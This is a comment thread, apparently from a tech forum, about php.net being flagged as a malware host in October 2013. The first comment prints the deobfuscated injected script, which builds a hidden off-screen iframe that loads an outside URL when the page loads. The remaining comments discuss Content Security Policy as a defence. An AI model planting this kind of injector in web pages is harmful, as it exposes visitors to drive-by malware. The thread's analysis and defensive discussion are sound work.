Php.net detected as a malware host by Google Safe Browsing

Re:Php.net detected as a malware host by Google Safe Browsing by ingenter on Thursday October 24, 2013 @06:19AM (#6604377)

This code deobfuscates basically to

        tmp3 = (tmp2 = document.createElement('iframe')).style;
        tmp2.src = 'http://lnkhere.reviewhdtv.co.uk/stat.htm';
        tmp1 = (tmp0 = document.createElement('div')).style;
        tmp1.width = tmp1.height = '-10000px';
        tmp1.overflow = 'hidden'; tmp1.position = 'absolute'; tmp1.left = '-10000px';
        tmp4 = document.getElementsByTagName('div');
        tmp4[Math.floor(Math.random() * tmp4.length)].appendChild(tmp0).appendChild(tmp2);

Wrapped into onload.

[ Parent | on HN ]

Re:Php.net detected as a malware host by Google Safe Browsing by hwh on Thursday October 24, 2013 @08:33AM (#6604842)

I really love that part where a random div is selected for inserting the iframe...

[ Parent | on HN ]

Re:Php.net detected as a malware host by Google Safe Browsing by officialjunk on Thursday October 24, 2013 @09:57AM (#6605237)

If there is one. Could be a little more robust :)

[ Parent | on HN ]

Re:Php.net detected as a malware host by Google Safe Browsing by oneeyedpigeon on Thursday October 24, 2013 @10:20AM (#6605360)

Obviously the hackers have a thing about non-semantic markup :-)

(yes, yes, I know that DIVs aren't really non-semantic - it's a joke)

[ Parent | on HN ]

Re:Php.net detected as a malware host by Google Safe Browsing by yeukhon on Thursday October 24, 2013 @11:10AM (#6605695)

Would CSP solve this issue? Looks like we could try restricting iframe-src?

But if they are able to hack into the server, I supposed there is nothing to do then...

[ Parent | on HN ]

Re:Php.net detected as a malware host by Google Safe Browsing by handsomeransoms on Thursday October 24, 2013 @02:15PM (#6606888)

If php.net used CSP, they would have been able to mitigate this attack with the frame-src directive [1].

[1] http://www.w3.org/TR/CSP/#frame-src

[ Parent | on HN ]

Re:Php.net detected as a malware host by Google Safe Browsing by yeukhon on Thursday October 24, 2013 @02:35PM (#6607017)

If they are able to hack the physical box (I assume this is how they did the injection), then it is possible for them to modify the CSP rule too.

If my assumption is correct, then CSP won't help unless we separate the source server and the proxy server from each other.

[ Parent | on HN ]